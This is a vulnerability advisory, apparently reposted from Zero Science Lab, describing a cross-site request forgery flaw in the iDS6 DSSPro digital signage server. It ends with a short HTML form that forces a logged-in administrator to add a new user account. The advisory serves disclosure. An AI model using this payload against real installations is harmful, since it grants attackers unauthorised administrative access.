

iDS6 DSSPro Digital Signage System 6.2 Cross Site Request Forgery

2020.11.05		
🚩 LiquidWorm (https://cxsecurity.com/author/LiquidWorm/1/) (MK) 🚩		
Risk: <input type="text" value="Low"/>	Local: <input type="text" value="No"/>	Remote: <input type="text" value="Yes"/>
CVE: <input type="text" value="N/A"/>	CWE: <input type="text" value="CWE-352"/> (https://cxsecurity.com/cwe/CWE-352)	

iDS6 DSSPro Digital Signage System 6.2 Cross-Site Request Forgery (CSRF)

Vendor: Guangzhou Yeroo Tech Co., Ltd.

Product web page: <http://www.yerootech.com>

Affected version: V6.2 B2014.12.12.1220

V5.6 B2017.07.12.1757

V4.3

Summary: iDS6 Software's DSSPro network digital signage management system

is a web-based server software solution for Windows.

Desc: The application interface allows users to perform certain actions via

HTTP requests without performing any validity checks to verify the requests.

This can be exploited to perform certain actions with administrative privileges

if a logged-in user visits a malicious web site.

Tested on: Microsoft Windows XP

Microsoft Windows 7
Microsfot Windows Server 2008
Microsoft Windows Server 2012
Microsoft Windows 10
Apache Tomcat/8.0.44
Apache Tomcat/6.0.35
Apache-Coyote/1.1
Apache Axis/1.4
MySQL 5.5.25
Java 1.8.0

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience

Advisory ID: ZSL-2020-5606

Advisory URL: <https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5606.php>

16.07.2020

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Add user:

```
<html>
  <body>
    <form action="http://192.168.1.88/Pages/user!addUser" method
    ="POST">
      <input type="hidden" name="user.userName" value="testingus"
      />
      <input type="hidden" name="user.password" value="zeroscienc
      e" />
      <input type="submit" value="add()" />
    </form>
```

```
</body>  
</html>
```

See this note in RAW Version (<https://cxsecurity.com/ascii/WLB-2020110022>)

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	<input type="button" value="👍 0"/>	<input type="button" value="👎 0"/>
50%		50%

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